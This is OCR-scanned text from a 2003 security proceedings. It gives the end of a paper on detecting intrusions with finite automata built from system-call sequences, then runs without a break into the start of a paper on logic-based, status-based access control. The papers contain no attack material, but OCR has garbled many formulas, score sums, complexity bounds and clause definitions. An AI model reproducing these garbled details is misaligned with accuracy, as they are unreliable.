stage, the sequences of system calls made by the processes are collected. Then a finite
automaton recognizing these sequences is constructed. Once the finite automaton is
constructed, it is used to monitor the executions of the program. If the sequences of
the system calls made by the processes are accepted by the finite automaton, then the
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behavior of the program is considered to be normal. If some of the sequences are
rejected by the automaton, then the program is believed to behave abnormally and an
intrusion is suspected.

We construct the finite automata through three stages. Firstly, frequently occurring
substrings of system call sequences are selected and replaced by macros. This proce-
dure is to shorten the lengths of the sequences and consequently to reduce the size of
the resulting finite automata. Another positive effect of designating macros is that any
intrusion resulting in alteration of the substring corresponding to a macro will be
detected. Secondly, the sequences are aligned in such a way that the substrings occur-
ring commonly across several sequences are positioned at the same columns. Thirdly,
a finite automaton recognizing these aligned sequences is constructed.

3.1 Macro Selection

To select macros we used an algorithm for finding the substrings that occur more than
given number of times in the string [15]. This algorithm makes use of the data struc-
ture called suffix trie. Suffix tries are slightly different from suffix trees in that each
edge is labeled by only one symbol [5].

A suffix trie of a string is constructed after the special symbol $ is attached to the
end of the string. In a suffix trie, the labels along the path from the root to a leaf node
represent a suffix of the string. Hence a path from the root to an internal node N
represents a substring w, and the number of leaf nodes in the subtree whose root is N
is equal to the number of occurrences of w in the string. For example, in figure 1, the
suffix trie tells that the substring ca occurs twice in the string acabca. Note that the
path from the root to node N is labeled ca, and the subtree with root N has two leaf
nodes.

By making use of the fact just mentioned above, we can compute the frequency of
every substring. Then we compute the amount of reduction that can be obtained by
replacing every occurrence of the given substring by a macro. We select the one that
brings the most reduction on the sequence length to be a macro and replace every
occurrence of the substring by the macro. This procedure is repeated until there is no
more reduction of sequence length.

Fig. 1. Suffix trie of acabca
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3.2 Multiple Sequence Alignment

Sequence alignment is to place the same symbol in different sequences at the same
position as much as possible by putting gaps between symbols. The purpose of se-
quence alignment is to measure how similar the given sequences are. It is a frequently
occurring and much studied problem in text processing and computational biology
[5]. For example, see figure 2 [13]. More formally, a pair of aligned sequences is
assigned the score, which is the sum of the scores of every pair of symbols that are at
the same position in the pair. The objective of alignment of two sequences is to
maximize the score, and the objective of alignment of multiple sequences is to maxi-
mize the sum of the scores of all the pairs of the sequences.

Two symbols at the same position is usually assigned a positive score if two sym-
bols are the same, a negative score if they are different or one is a symbol and the
other is a gap. For example, the score of two symbols @ or b can be defined as fol-
lows: s(a,b)=+1 if a=b, s(a,b)=-1if a#b,

s(a,_)=-2, s(_,a)=-2, s(_,_) =0, where _ represents a gap.

With the above scoring scheme, the score of the fourth and the fifth string in figure
2 is +1-1-1-1-1+1-2-2-2+0+0 = -8. The score of the multiple alignment of all the five
strings is the sum of the scores of the all the 10 pairs of strings.

ATTGCCATT ATTGCCATT- -
ATGGCCATT ATGGCCATT- -
ATCCAATTTT _» ATC- CAATTTT
ATCTTCTT ATCTTC-TT- -
ACTGACC ACTGACC- - - -

Fig. 2. Multiple sequence alignment

To align a pair of sequences there is a well-known quadratic time dynamic pro-
gramming algorithm [1]. Unfortunately, if there are k strings of length n, the natural

generalization of the algorithm for pairwise alignment takes G)(nk) time, and fur-

thermore the exact alignment problem has been proven to be NP-complete [5]. Hence
we used the approximation algorithm called center star method [13]. The center star
method has the error ratio of 2, in other words, it produces the alignment whose score
is guaranteed to be less than twice the score of the optimal alignment [5].

The center star method proceeds in three stages as follows:

1. For each string s, perform pairwise alignment between s and each of the other
strings and sum up the scores. Take the string ¢ that maximizes the sum as the cen-
ter.

2. Perform pairwise alignment between ¢ and each of the other strings.

3. Perform multiple alignment starting from ¢ and adding the other strings one by one
using the result of the pairwise alignment in step 2, keeping the principle that
“once a gap, always a gap”.

Figure 3 through figure 6 illustrate the center star method by showing the interme-
diate steps of multiple sequence alignment in figure 2 [13].
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S1: ATTGCCATT
S2: ATGGCCATT
S3: ATCCAATTTT
S4: ATCTTCTT
S5: ACTGACC

Fig. 3. Sequences

S1 [S2 [ S3 | S4 | S5 | Sum
S1 | - 7 -2 0 -3 2
52 |7 - -2 0 -4 1
S3 -2 -2 - 0 -7 -11
S4 10 0 0 - -3 -3
S5 | -3 -4 -7 -36 | - -17

Fig. 4. Sum of scores

S1I:ATTGCCATT
S2:A T GGCCATT
S1I:ATTGCCATT - -
S3:ATC- CAATTTT
S1I:ATTGCCATT
S4:A T CTTC- TT
S1I:ATTGCCATT
S5:ACTGACC - -
Fig. 5. Pairwise alignments with the center
SI:ATTGCCATT - -
S2: AT GGCCATT - -
S3:ATC- CAATTTT
S4:ATCTTC-TT - -
Ss:tACTGACC - - - -

Fig. 6. Result of center star method
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3.3 Generation of Finite Automata

A finite automaton modeling normal behavior of a program is constructed from the
result of the multiple sequence alignment. First, any symbol s -either a system call or
a macro- that repeats many times in consecutive positions is replaced by s+ and con-
verted into a state with the self-loop. Then the finite automaton is constructed by
following the rule that the same symbols at the same position in different sequences
lead the automaton to enter the same state. The gap symbol is treated as the same way
as the other regular symbols. Figure 7 shows the finite automaton constructed from
the result of multiple sequence alignment in Figure 6.

Fig. 7. Finite automaton constructed from Fig. 6

Once a finite automaton is constructed, the system call sequences generated by
execution of programs are monitored. Basically, a sequence is considered normal if it
is accepted by the automaton, and abnormal if rejected. But such a clear-cut criterion
is too strict to tell normal behavior from abnormal. Hence we adopted the following
scoring scheme. Every time the current symbol in the sequence causes a legitimate
move from the current state, the sequence gets a certain positive point. Every time the
automaton makes a gap-move, a certain amount of points is subtracted. If the automa-
ton cannot make a move with the current symbol, it skips the current symbol and
some points are subtracted. If the accumulated points at the time when the automaton
reaches its final state is over a predefined threshold, the sequence is considered to be
normal. Otherwise it is considered as abnormal.

For example, assume that a legitimate move is worth 3 points, a gap-move is worth
—1 point, skipping a symbol is worth —3 points, and the threshold is 0. Then the se-
quence ATCCTCATT gets +3+3+3-1+3-3+3+3+3+43-1-1 = 18 points by the automa-
ton in Figure 4, and it is considered as normal.

From the way the score of a sequence is computed, it can easily be observed that
the finite automaton does not have to be actually built. The result of the multiple
alignment serves as the finite automaton. Hence there are not needs for the extra space
for storing the finite automaton. The result of multiple sequence alignment will do.

4 Experiments

We implemented our system on a Pentium 3 500 MHz processor with Windows 2000
server operating system in Microsoft C# language. We experimented with the system
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call sequences generated by the sendmail program and [pr program [18]. We also
implemented Forrest’s N-gram method with the length of short sequences being 10
and threshold value being 0.2, and compared the performance with our finite automa-
ton method.

4.1 Sendmail Program

Sendmail program provides 147 sequences of normal behavior and 34 sequences of
abnormal behavior. We used 100 sequences out of 147 normal sequences for model-
ing the normal behavior of the program, the remaining 47 sequences to test the false
positive rate, and 34 abnormal sequences to test the detection rate.

The data consist of pairs of process id number and the system call number the
process made. First we separate these pair and collect again as a sequence of system
calls for each process, and add O to the end of each sequence to signify the end of a
sequence. Figure 8 shows a sample of system call sequences. There are many cases
where different processes have identical system call sequences. These identical se-
quences are eliminated leaving only one sequence. These sequences can be divided
into three groups by their prefixes as Figure 9 shows.

105 104 104 106 105 104 104 106 ... 0
15555550

105 104 104 106 105 104 104 1061 ... 0
4266664138665234542766...0

Fig. 8. System call sequences of processes

G1:105 104 104 106 105 104 104 ...
G2:155555 ...
G3:4266664 13866 ...

Fig. 9. Three groups

Then the macro selection algorithm described in Section 3.1 is applied. The sub-
strings are selected as macros according to the amount of reduction it can bring about
if they are replaced by a single symbol of the macro. In this experiment we also im-
posed the restriction that the frequency of occurrence of a substring be at least as high
as the number of processes created by the sendmail program, in order for the substring
to be selected as a macro. Figure 10 shows the result of the macro selection on group
Gl1. Letters represent macros and the numbers represent system calls. Figure 8 shows
the system call sequences after the macros have been applied. If any symbol or num-
ber repeats at least as often as four times in consecutive positions, then the repetition
is replaced by the symbol followed by + sign, as is commonly used in extended regu-
lar expressions.

Then it goes through the stage of multiple sequence alignment as described in Sec-
tion 3.2. Figure 8b shows the result of multiple alignment of the sequences in Figure
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8a. We used the scoring scheme given in Section 3.2. That is, for a pair of symbols
and b,

s(a,by=+11if a=b, s(a,b)=-1if a#b,

s(a,_)=-2, s(_,a)=-2, s(_,_) =0, where _ represents a gap.

105 104 104 106 105 104 104 106 105 104 104 106 54 5 5 40 40
...271850272: A

332332332:B
235661121121912899599511245555:C
5611211219128 41 105104 104 106 61 55027 18 : D

Fig. 10. Macros in group G1

ACO
A3233323CO0
A332CO0
A33233D2BB3CO
AB3CO

ABBBCO

ABB'CO
A332BB'CO
ABB3CO

Fig. 11. Sequences in G1 after macros substitution

A- - -33-2---¢C
A- - - - - - - - - -cC
A32333-2--3¢C
A33233D2BB3C
AB- -3 - - - - - .¢C
ABBB- - - - - - -C
ABB* - - - - - - - C
A- - - 33 - B Bt- C
ABB-3- - - - - -0¢C

Fig. 12. Sequences in G1 after multiple alignment

A finite automaton is constructed from the result of the multiple alignment as was
described in Section 3.3. Figure 13 shows the finite automaton constructed from fig-
ure 12.

The performance of the finite automaton was tested with 47 normal sequences and
34 abnormal sequences as mentioned at the beginning of this section. We used the
scoring scheme illustrated in Section 3.3. That is, a legitimate move is worth 3 points,
a gap-move is worth —1 points, skipping —3 points, and the threshold is 0.
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Fig. 13. Finite automaton constructed from Fig. 12

All of the 47 normal sequences were accepted by the finite automaton, and all of
the 34 abnormal sequences were rejected by the automaton, showing 0% false posi-
tive rate and 100% detection rate. Forrest’s N-grams method also showed perfect false
positive rate and detection rate.

4.2 Ipr Program

The procedures for constructing the finite automaton modeling the normal behavior of
Ipr program are the same as in the case for Ipr program described in the previous
section 4.1.

There are two kinds of [pr data, one from MIT and the other from University of
New Mexico [18]. There are 2797 normal sequences in MIT data and 1232 normal
sequences in UNM data. There are 1001 abnormal sequences in both data set. We
used 700 normal sequences for constructing the finite automaton modeling the normal
behavior, and the rest of the sequences for testing the performance of the automaton.

Table 1 shows the result of tests using our finite automaton and that of N-gram ap-
proach [6]. Both approaches show perfect detection rate, but ours shows a bit better
performance than N-gram approach in false positive rate. We believe that analysis of
whole sequences has a slight edge over analysis of short sequences.

Table 1. Results of modeling and tests on /pr program

number of test by finite automata test by N-gram method

sequences used for
normal

behavior modeling

detection false positive | detection false positive

MIT lpr 700 1001/1001 5/2097 1001/1001 28/2097
UNM Ipr 700 1001/1001 3/532 1001/1001 4/532
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5 Conclusions

Although finite automata have many advantages in modeling normal behavior of
programs using system call sequences, they have not been used widely, mostly be-
cause they could not be constructed automatically. In this paper we presented algo-
rithms for automatically constructing finite automata through substituting macros for
frequently occurring substrings and aligning multiple sequences. We also imple-
mented our algorithms and experimented using well-known data sets of system call
sequences. The results of experiments showed the perfect detection rate, low false
positive rate, and a better performance than the N-gram approach.

Since our techniques do not require any other information except the system call
sequences from the system, they do not impose much load to the system. Furthermore
finite automata can be constructed in polynomial time, and normality of a given se-
quence can be tested by the automaton in linear time.

Suppose that the number of sequences is k , the length of the longest sequence is
m, and the sum of the lengths of all the sequences is n. The time taken to construct
the suffix trie of the sequences is O(nz) [15]. Since computing the frequency of
every substring takes time proportional to the size of the trie, macro selection takes
0(n2) time. The time complexity of center star method of multiple sequence align-
ment is O(km2 + kzl) , where [ is the length of the aligned sequences [13]. Hence

the total time is O(n” + km?> + k1) .

We have plans to apply other known automata learning algorithms or devise new
domain-specific automata learning algorithms. We also plan to do elaborate perform-
ance analysis using various data sets of system call sequences.

We have presented algorithms to automatically construct finite automata modeling
normal behaviors of programs using system call sequences. Our algorithms are effi-
cient, and the resulting finite automata are effective in recognizing normal behaviors
and detecting abnormal behaviors. As far as we know, ours is the first study on auto-
matically constructing finite automata for intrusion detection.
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Abstract. We introduce the status-based access control model, and we
describe status-based access control policies and programs. Some tech-
nical results are presented, and we describe a practical implementation
of an autonomous agent that is used for evaluating access request with
respect to a formulation of an SBAC policy.

1 Introduction

The dissemination of information across large-scale networks of computers is
increasingly prevalent. As such, there is a need to develop approaches for con-
trolling access to resources in distributed systems. Thus far, there has been an
emphasis on the issues of identification, authentication and encryption in the
context of network system security. However, in this paper we consider the issue
of access control for authenticated users of a network system.

In recent years, informal specifications [I] and formal specifications [2] of role-
based access control (RBAC) models have been described in the literature. In
these works, some entirely reasonable assumptions are made about the context
in which RBAC policies for defining the protection of centralized information
systems are specified, and are the basis for practical policies for protecting the
information contained in centralized systems, to wit: a (human) access policy
administrator (APA) has complete information about the individuals to be as-
signed to the roles that are performed by personnel in an organization, and
complete information about the access privileges to be exercised on the objects
contained in the system. Moreover, the APAs will revise a formulation of an
RBAC policy to take into account changes to role and permission assignments
(as necessary) to satisfy requirements that are usually determined and imple-
mented on an organization-wide basis. These changes do not usually need to
be performed in real-time and the policy specifications are relatively static (i.e.,
user-role, permission-role and role-role relationships often persist for long periods
of time).

The assumptions that are applicable in the case of protecting centralized
systems do not necessarily apply to network systems. For example, in a network
system a user’s access privileges on data objects may need to be modified in a
highly dynamic and autonomous manner, and without an authority, that decides
to permit/deny access, necessarily having complete information about the user.

In this paper, we define a variation of RBAC for use in a distributed envi-
ronment. In the model that we describe, access control is defined in terms of

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 217-B28, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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status levels that are assigned to agents that request access to system resources
(henceforth these agents are referred to as requester agents). These status lev-
els change dynamically in response to the actions the requester agent performs.
Because status levels are centrally important in our access control model, we
henceforth refer to the model as the Status-based Access Control (SBAC) model.

In the SBAC model, the information that is used to evaluate access requests
is expressed in terms of some general semantic notions: acts, actors, events,
times, .... By relating access control to these general notions, we argue that it
is possible to define the SBAC model as a very general framework for specifying
access control requirements, a framework that nevertheless may be specialised
and used in a variety of environments.

The SBAC model is defined in terms of a logic language; a range of SBAC
policies may be expressed in the same language. As such, our proposal is related
to recent work on multi-policy formulation using logic languages (e.g., [2], [3],
M] and [5]). However, none of the models defined in [2], [3], [4], or [5] includes
the notion of an event as a core component, and only [5] includes times. In [6],
an access control model is defined in which the notion of an event is important.
However, in the SBAC model an event has a wider interpretation, and SBAC
policies are appropriate in distributed environments. In [7] an event-based access
control model is described. However, the model that is defined in [7] is a DAC-
based model that is not well-suited for distributed applications. The Ponder
language [8] has recently been proposed for specifying policies (including security
policies) for distributed systems. However, unlike the SBAC model, Ponder has
no formal semantics.

The rest of the paper is organized thus. In Section Bl some basic notions
are briefly described. In Section Bl we define the SBAC model. In Section €l
we describe SBAC policy formulation and some computational issues. In Sec-
tion Bl an implementation of an SBAC policy is discussed. Finally, in Section [6]
conclusions are drawn, and suggestions for further work are made.

Due to space limitations, we consider a restricted form of the SBAC model in
this paper; we only consider one type of SBAC policy; and we give few technical
results. Further details of SBAC will appear in a forthcoming publication [9].

2 Preliminaries

The SBAC model and the SBAC policies that we describe in later sections
may be expressed in the language of (function-free) locally stratified clause form
logic [10], with certain predicates in the alphabet X' of the language having a
fixed intended interpretation. As we only admit function-free clauses, the only
terms of relevance in X will be constants and variables.

Definition 1. A normal clause is a formula of the form.:

C+ Ay,..., Ay, not By,...,not B, (m>0,n>0).

The head, C, of the clause above is a single atom. The body of the clause (i.e.,
Ai,...,Ap, not By,...,not By,) is a conjunction of literals (i.e., the comma is
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shorthand for ‘and’). Each A; literal (i € {1,..,m}) is a positive literal; each
not Bj literal (j € {1,..,n}) is a negative literal where negation is negation as
failure (NAF) [T1]. A clause with an empty body is an assertion or a fact. A
clause that is variable-free is a ground clause. A clause that is negation-free is a
definite clause. A set of clauses is a program.

An SBAC program v, henceforth written SBAC (1)), is defined on a domain
of discourse that includes:

. A set U of requester agents;
. A set O of objects;

A set P of access privileges;
A set A of actions;

A set L of status levels;

. A set € of events;

. A set T of time points.

No Ol A W

The U, O, P, A, L, and £ sets, comprise the (disjoint) sets of requester agent
identifiers, object identifiers, access privileges, actions, status levels, and event
identifiers that form part of the universe of discourse for SBAC(v).

The set T is a set of discrete time points. The elements of T are linearly
ordered and isomorphic to the natural numbers. We will assume that times have a
DAY granularityﬂ. We also assume that a time is expressed in DD/MM/YYYY
format (which may be mapped to a natural number).

More formally, the sets of constant symbols of interest in SBAC(v)) are:

— A countable set U of requester agent identifiers such that Y = S U J where
S is a set of character strings that identify agents or J = {u; : i € N—- | S |}
where N is the set of natural numbers.

— A countable set O of object identifiers such that O = {o; : i € N}.

— A countable set O of access privileges such that P = {p; : i € N} B.

— A countable set A of action identifiers that may be performed by agents in
an application-specific domain such that A = {a; : i € N}.

— A countable set L of status levels such that £ = {l; : i € N}.

— A countable set £ of event identifiers such that & = {e; : i € N}.

— A countable set T of time points such that T = {t; : i € N— 1} U {now}.

In this framework, the following notions apply.

Definition 2. If p,, is an access privilege (p, € P) and oy is an object (of €
Q) then a permission is a pair (pn,or) that denotes that the p, access privilege
18 permitted on oy,.

Definition 3. If p, is an access privilege and oy, is an object then a denial, d,
is a pair (pp,ok) that denotes that p, access is denied on oy.

! The choice of the time granularity will be an application-specific one.
2 In practice, access privileges will be named by strings like read and write.
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In SBAC(v), variables are denoted by using upper case symbols, and con-
stants will be denoted by lower case symbols. We use U, O, P, A, L, E, and T
as variables that range over the sets of values in the domains U, O, P, A, L, £,
and T, respectively. To distinguish between variables that range over a domain
V, where V is one of U, O, P, A, L, E, T, weuse V1, V2, ...

As SBAC(%) is a locally stratified logic program, it follows that the well-
founded semantics [12] may be used for the declarative semantics for SBAC(v)).

Proposition 1. Fvery locally stratified program has a unique, 2-valued well-
founded model [12].

Corollary 1. SBAC(y) has a unique, 2-valued well-founded model [12)].

Proof. Follows immediately from Proposition [ and the fact that every SBAC
program is locally stratified.

Remark 1. Having a categorical semantics for SBAC policies is important be-
cause it implies that authorizations are unambiguously defined.

Remark 2. Henceforth, we use WFM(SBAC(¢)) to denote the well-founded
model of SBAC(v).

In addition to the fixed set of terms that we admit in SBAC(v)), we allow a
small number of fixed predicates too (see below). Despite the restrictions imposed
on our policy specification language, the language permits a range of access
control policies to be specified for protecting network systems.

3 The Status-Based Access Control (SBAC) Model

In this section, we describe the key components of our SBAC model. The SBAC
model includes means for specifying that:

1. a requesting agent is assigned to a status level [ (I € £).
2. a permission is associated with a status level [.
3. a denial is associated with a status level [.

A specification of 1 is a status-level assignment, a specification of 2 is a
permission-level association, and a specification of 3 is a denial-level association.

The SBAC model includes a number of hierarchies for implicitly defining
authorizations. Due to space restrictions we only consider status level hierarchies
in this paper. A status level hierarchy is a partial order on status levels.

An SBAC status level hierarchy is represented by using an SBAC' pro-
gram v that defines a SUBSUMES], relation (SUBSUMESL C L x L). The
SUBSUMES], relation comprises all pairs of status levels (l;,l;) such that
l; SUBSUMES|, l; holds in the partial order (£, SUBSUMESY,).

The SUBSUMES], relation is represented in SBAC(¢) by using a 2-place
predicate subsumesy, with the intended meaning:
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— WFM(SBAC(¢)) k= subsumesr(l;,1;) iff (l;,1;) € SUBSUMES],.

In SBAC(%)), the SUBSUM E S, relation is the reflexive-transitive closure of
an irreflexive-intransitive DSy, relation (DS C L x L); DSy, is short for “directly
subsumes level L”.

The DSy, relation comprises all pairs of status levels (I;, ;) (I; # [;) such
that (l;,1;) € SUBSUMES]|, and there is no status level Iy (I; # I, l; # )
such that (l;,1x) € SUBSUMESy, and (li,1;) € SUBSUMES],.

The DSy, relation is represented in SBAC(3)) by using a 2-place predicate
dsy, with the intended meaning;:

— WFM(SBAC®Y)) = dsp(li, ;) iff (l:,1;) € DSL.
The relationship between subsumesy and ds;, may be expressed thus:

Vli,lj el [dSL(li,lj) 4 subsumesL(li,lj) AN li#lj A=l e L
[subsumesr,(l;, k) N subsumesr, (I, ;) N LiF#lL A L7
Definition 4. The subsumesy, relation is defined thus (where .’ is an anony-

mous variable):

subsumesr (L1, L1) (
subsumesy, (L1, L1) < dsp(
subsumesy (L1, L2) (

( (

2
subsumesy, (L1, L2) < dsr (L1, L3), subsumesr, (L3, L2).

In SBAC(%), a 2-place sla predicate, a 3-place pla predicate, and a 3-
place dla predicate are respectively used to express status-level assignments,
permission-level associations, and denial-level associations. These predicates
have the intended meanings:

— WFM(SBAC(¢Y)) = sla(u;, ;) iff the requester agent u, is assigned the
status level I; € L.

— WFM(SBAC(v)) = pla(pn, ok, ;) iff the permission (p,,,o0r) (where p, €
P and oy, € O) is associated with the status level ;.

— WFM(SBAC(v)) k= dla(pn, ok, ;) iff the denial (py, o) is associated with
the status level [;.

The extension of sla at an instance of time will depend upon the actions per-
formed by requester agents. These actions are expressed via a set of application-
specific security event descriptions.

Definition 5. A security event description is a finite set of ground 2-place as-
sertions that describe an event and which includes three necessary facts and n
optional facts (n >0).

Definition 6. A necessary fact in a security event description € is a fact that
must appear in € in order for € to be well-formed. It follows from Definition[d that
every well-formed security event description includes the three necessary facts.
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Definition 7. The three necessary facts in a security event description € to-
gether with their intended meanings are as follows:

— happens(e;, t;) = true iff the event identified by e; € £ happens at time
tj eT.

— act(e;, a;) = true iff the event identified by e; € € relates to an action a; € A.

— user(e;, u,) = true iff the event identified by e; € & relates to the agent
U EU.

Example 1. Consider the security event description

e = {happens(e1,12/12/2002) <;user(e1, bob) <; act(e1, depositing) +;
object(er,a1) <;amount(ey, 1000) < }.

The set of facts in € describes an event e; that happens on 12/12/2002 and
involves the agent Bob depositing an amount of 1000 Euros into an object (a

bank account) denoted by a;.
To define sla we need a 1l-place predicate current_time(T") with a fixed in-

terpretation that may described thus:

. true, if T = now,
current-time(T) = false, otherwise

Definition 8. The definition of sla is represented thus:

sla(U, L) < current_time(T), agent(E1,U), happens(E1,T1),
T1 < T, started_sla(E1,U, L),

agent(E2,U), happens(E2,T2), T2 < T,

not ended_sla(E2,U, L), T1 <T2.

Informally, the definition of sla specifies that a requester agent U is assigned
to the status level L at the time T' = now if an event E'1 happens at a time T'1
that is earlier than or the same time as T and the occurrence of E1 causes U
to be assigned to L and there is no event E2 that happens at a time 72 that
is subsequent to T'1, but before T, such that the occurrence of E2 causes U’s
assignment to L to be terminated.

Definition 9. The auxiliary started_sla predicate in sla is defined thus:
started_sla(E1,U, L) < acty (E1,A), ECL;(E1,U, L).

Informally, the definition of started_sla specifies that if the event E'1 involves
an act A that causes user U’s status to be upgraded and the conditions expressed
on U’s assignment to L as a consequence of E1 happening are satisfied then U’s
assignment to L is started by E1.

Definition 10. The auzxiliary ended_sla predicate in sla is defined thus:

ended_sla(E2,U, L) + actp(E2,A), ECLr(E2,U, L).
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Informally, the definition of ended_sla specifies that if the event E2 involves
an act A that causes user U’s status to be downgraded and the conditions ex-
pressed on U’s assignment to L as a consequence of E2 happening are satisfied
then U’s assignment to L is ended by E2.

Definition 11. An acty(E1, A) clause is a clause of the form
acty (E1, A) < act(E1,a;)

where a; € A is an upgrading action.

Definition 12. An actp(E2, A) clause is a clause of the form
actp(E2, A) < act(E2,a;)

where a; € A is an downgrading action.

There will be an acty(E1, A) rule and an actp(E2, A) rule for each up-
grading act and each downgrading act a € A. The sets of upgrading acts and
downgrading acts are disjoint.

The condition part of the FCL; and ECLy rules in the definitions of
started_sla and ended_sla respectively define the application-specific conditions
on the performance of an action of status level assignment and deassignment.
These conditions must be true in order for the action to be performed of assign-
ing (deassigning) a requester agent u € U to (from) a status level I € L£. The
upgrade conditions are expressed by a set of rules with the head ECL;(E,U, L)
that define the conditions on the initiation of an agent U to a status level L
as a consequence of the occurrence of an event E in which U performs an up-
grade action. The downgrade conditions are expressed by rules with the head
ECLy(E,U, L) that define the conditions on the termination of the assignment
of an agent U to a status level L as a consequence of the occurrence of an event
FE in which U performs a downgrading action.

The conditions of the EC'L; and EC Ly rules split into database predicates
and evaluable predicates.

Definition 13. The database predicates are predicates that are defined by a set
of clauses D that include no built-in operators of a logic programming language,
and are such that no clause in D violates the local stratification condition.

Definition 14. The evaluable predicates are predicates that are expressed in
terms of the set of comparison operators in {=,#,<,<,>,>} or the mathemat-
ical operators in {4+, —, X, <+, mod}.

Definition 15. ECL; and ECLy are defined by clauses of the forms:
ECL;(E1,U,L) + DB, EV.

ECLy(E1,U,L) + DB, EV.
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where DB is a conjunction of literals DBy, . .., DB,, such that DB; (i = (1..m))
s a literal with a predicate symbol that is a database predicate, and EV 1is a
congunction of literals EVy, ..., EV, such that EV; (j = (1.n)) is expressed in
terms of the evaluable predicates.

Definition 16. For each ECL;(E,U,l;) clause Cq that defines the initiation of
U’s assignment to the status levell; € L there is an ECLr(E,U,1;) clause Cy that
defines the termination of U’s assignment to l; such that C1 and Co differ only
in terms of the conjunctions of the evaluable predicates that appear in the bodies
of C1 and Ca. The pair of clauses defining ECL;(E,U,l;) and ECLp(E,U,L;)
are called an initiation/termination dual for level I;.

The ECL;(E,U,l;) clause of a dual for I; € £ defines the initiation of an
agent’s assignment to a status level [;, and the ECLy(E, U, ;) clause of the dual
for I; defines the termination of an agent’s assignment to a status level [;.

Definition 17. A permission-level association is expressed in SBAC (1) by us-
ing a clause of the form

pla(P,0,L) < DBy,...,DBy,,EVi,...,EV,,.

Definition 18. A denial-level association is expressed in SBAC(v) by using a
clause of the form

dla(P,0,L) < DB,,...,DB,,,EVi,...,EV,.

Definition 19. The set of authorization triples (u;,p;, or) are defined by a set
of clauses in SBAC(1)) with the head authorized(U, P,O). This set of clauses
is called the authorizations clauses for SBAC(1).

4 SBAC Policy Formulation
In this section, we present an example SBAC policy 11y, a closed access policy.

Definition 20. The authorizations clause for Il is as follows:
authorized(U, P,0) «+ sla(U, L1), subsumesy (L1, L2),pla(P1,01, L2).

Example 2. Consider an e-banking system where a requester agent’s status de-
pends on the agent’s payment and withdrawal history, and the current state
of the requester agent’s account. There are two upgrading actions joining and
depositing, and two downgrading actions leaving and withdrawing. On join-
ing as a customer of the bank, a requester agent is assigned to the lowest
status level; on leaving the bank as a customer, the user is terminated from
the lowest status level — equivalent to the user having no status level. Sup-
pose also that there are three status levels supported, Iy, l5, and l3, and that
WFM(SBAC(Y)) E dsi(l1,l3) and WFM(SBAC(v)) = dsp(l2,13). There are
two types of requester agents: ordinary agents and Goldcard agents.



Distributed Access Control: A Logic-Based Approach 225

Up until 20/12/2002, an ordinary agent u,, has the status l; if w,, maintains
an account balance at least 1000 Euros. Conversely, up until 20/12/2002, if
U, makes a withdrawal that takes wu,,’s balance below 1000 Euros then the
downgrading act of withdrawal results in a status level transition from Iy to Is.
After 20/12/2002, an ordinary agent w, must maintain a balance of at least
1100 Euros for u,, to have the status l;. Moreover, if u,, is an ordinary user
then wu,, has the status lo whenever u,, deposits a sum that terminates a period
of time during which wu,,’s account was overdrawn and u,, was assigned to [3;
Umy’s assignment to s is terminated/u,,’s assignment to 3 is initiated when u,,’s
account becomes overdrawn. If u,, is a Gold-card holder then a different policy
applies, to wit: Gold-card holders have status [ as long as they do not overdraw
by more than 100 Euros. If a Gold-card holder makes a withdrawal that results in
his or her account being overdrawn by more than 100 Euros then the withdrawal
induces a state transition from I; to l3. The policy relating to Gold-card holders
is not subject to any temporal constraint.

Suppose that the bank’s policy is that, in the interval [01/12/2002,
31/12/2002], users with an Iy status level may read any object other than oo,
and that agents with a status level /; can write object o1 up until 24/02/2002.
For that, the following pla clauses are included in SBAC(v):

pla(read, O,ls) + current_time(T),01/12/2002 < T,T < 31/12/2002,0 # 02.
pla(write,01,11) < current_time(T), T < 24/02/2002.

To represent the conditions on status level initiation and termination, an
APA would include the following ECL; and EC Ly clauses in SBAC(v):

ECL;(E,U,l) + current_time(T), object
balance(O, X

ECLr(E,U, ) + current_time(T), object
balance(O, X

ECL;(E,U,ly) < current_time(T), object
balance(O, X

—~

E,0),ordinary(U),
, X >1000,T < 20/12/2002.

E,0),ordinary(U),
,X < 1000,T < 20/12/2002.

E,0),ordinary(U),
, X >1100,T > 20/12/2002.

ECLy(E,U, ) < current_time(T), object(E, O), ordinary(U),
balance(0, X), X < 1100,T > 20/12/2002.

ECL;{(E,U,l) + object(E, O), goldcard(U), balance(O, X), X > —100.
ECLy(E,U,ly) « object(E, O), goldeard(U), balance(O, X ), X < —100.
ECL;(E,U,ly) + object(E, O), ordinary(U), balance(O, X), X > 0.
ECLy(E,U,ly) < object(E,O), ordinary(U), balance(O, X ), X < 0.
ECL;(E,U,l3) + user(E,U).

ECLy(E,U,l3) < user(E,U).

N — N —
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For this policy, the APAs will include the following acty and actp rules in
SBAC(¢):
acty(E, A) < act(E, depositing).
actp(E, A) + act(E, withdrawing).
(E,A) (
(E,A) (

+ act(E, joining).

E A
E. A
E, A) « act(E,leaving).

It is important to note that:

— Any number of polices may be represented in the way that we have described
in Example[2, because any number of application-specific requirements may
be related to the general notions of events, acts, actors, objects, times, .. ..
For example, for an on-line ordering system, we may have the act of purchas-
ing by customer actors of objects that include catalogue items with access
decisions being based on status levels that are defined in terms of credit
ratings, previous purchases, ...

— APAs can modify policies by adding/deleting ECL;/ECLy duals as re-
quired.

— Major changes to an access policy may be effected by making minor changes
to the clauses in SBAC(¢)) (see [9]).

A specification of SBAC(1)) defines the beliefs and knowledge of a mediating
agent M that may be used to evaluate access requests. A requester agent u,, € U
may access an object o € O iff the mediator believes u,, to be authorized to
exercise an access privilege a; on of at the time of u,,’s access request iff an
authorization (u,,, a;, ox) is provable from SBAC(v) by an operational method.
Moreover, M is able to dynamically revise its beliefs about the status of u,,
by learning about u,,’s behaviours, and by reasoning about these behaviourd3.
Our use of negation-as-failure in the sla clause enables the mediating agent
to withdraw beliefs when new information becomes available about a requester
agent’s behaviours, and it makes it straightforward for new information to be
assimilated about a requester agent’s status. What is more, negation-as-failure
may be used when information about a requester agent’s status is incomplete; in
this case, default reasoning (by NAF) may be employed to determine a requester
agent’s status.

Ezample 3. Consider the access policy that is described in Example 2, and sup-
pose that the ordinary agent Bob performs the following acts:

On 12/12/2002, Bob deposits 1000 Euros in account a; to make the
current balance 1000 Euros. On 20/12/2002, Bob withdraws 2000 Euros
from the account.

In this case, M will believe that Bob is authorized to read and write object oy
between 12/12/2002 and 19/12/2002, as, during that period, M believes Bob to
be a user with a status level [;. However, as of 20/12/2002, M revises its beliefs

3 The mediating agent is reactive and rational.
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about Bob’s status and holds Bob to have a status level [5. Because of the revision
